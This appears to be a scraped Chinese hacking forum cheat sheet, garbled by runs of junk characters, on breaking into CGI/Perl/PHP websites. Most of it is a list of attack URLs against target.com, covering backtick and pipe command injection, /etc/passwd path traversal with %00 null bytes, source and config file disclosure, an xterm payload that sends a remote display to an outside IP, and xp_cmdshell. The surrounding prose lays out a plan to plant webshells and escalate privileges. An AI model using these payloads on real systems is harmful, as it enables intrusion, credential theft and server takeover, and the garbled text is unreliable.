总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
! Z s; L: n1 c3 Y7 Z/ {cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 % S" C+ S$ m0 u
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 9 R$ }1 r0 s5 P, z7 ]
注“
( n9 m! {4 A$ d5 |8 jperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 " V" O4 H& b4 }
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
F$ Q( r" R6 ]3 s& F/ `( I) \7 Q( }
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造
8 P r5 O; N7 p9 i5 }# L: S$ X3 Hhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
' [1 c3 o7 b; @" ~! N' z7 Yhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 0 ^( a$ e6 p) t g5 d9 g2 U' P
http://target.com/cgi-bin/home/news/sub.pl?`id` 4 \% c! k4 Q( I" I
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` ( N, H9 E! A3 u! K4 r! k# w3 Z
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 . l# {% j8 Z, |' q2 b
! D1 U5 B }5 R% i# P
http://target.com/test.pl;ls|
; P: O! ]8 {5 G6 V" n& [http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| ) O3 t# L! m2 r
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
: T; }) f9 K/ vhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
. I# J% d& H: R; y8 i' X- S比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
( P4 Y8 X" `' k7 }+ z. |http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
8 h! _( g/ ]9 N+ b2 ?' O; V
' P# Q, h2 y& [8 {. f, shttp://target.com/test.pl?&........ /../../etc/passwd
# o. \1 l0 D7 l) ^; g
9 u/ x0 j6 L+ F y4 I6 x+ Lhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ / s+ Y: Q5 b" ~5 r- x
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
1 ~8 p* r3 L3 t$ T& Ehttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
% W2 v4 x* ~) l8 g7 @8 [& t" f* p: Y& Y$ B9 g
http://www.target.org/show.php?f ... /include/config.php 查看php代码
6 u7 l, J' i. E6 r# Fhttp://www.target.org/show.php?f ... ng/admin/global.php 7 i6 V" y. V! a0 n& A
; b2 k/ u; g( M8 ]8 r6 \6 B( u& Hemm和ps的一句话0 J. L8 Z; D4 J; I+ r
2 b0 V" [4 F6 Y* K+ S* |0 g+ S
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
4 S- O4 u3 Z/ K4 {5 u: U$ h& S& t9 x/ i( Z8 b
>bbb%20| 4 d$ w: f% D1 K' t
+ ~0 n/ V( V( Y ^
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
# u& D2 h% ^: S3 K( M/ \$ A* @" P2 n
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 ( G! k9 d0 V, W) ?' F
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin 5 G; }3 K4 Q: U K3 q
9 D* E+ f' u* U8 X% m4 R
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
! ?, B2 G( ~+ }$ m) Xhttp://target.com/index.html#cmd.exe
8 @2 ]8 Q' h; x, d; Q. `http://target.com/index.html?dummyparam=xp_cmdshell % l$ a8 I1 D0 P5 P9 F9 r4 K
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd - e- ^& z' Z5 g& y( l( r$ ~# g
|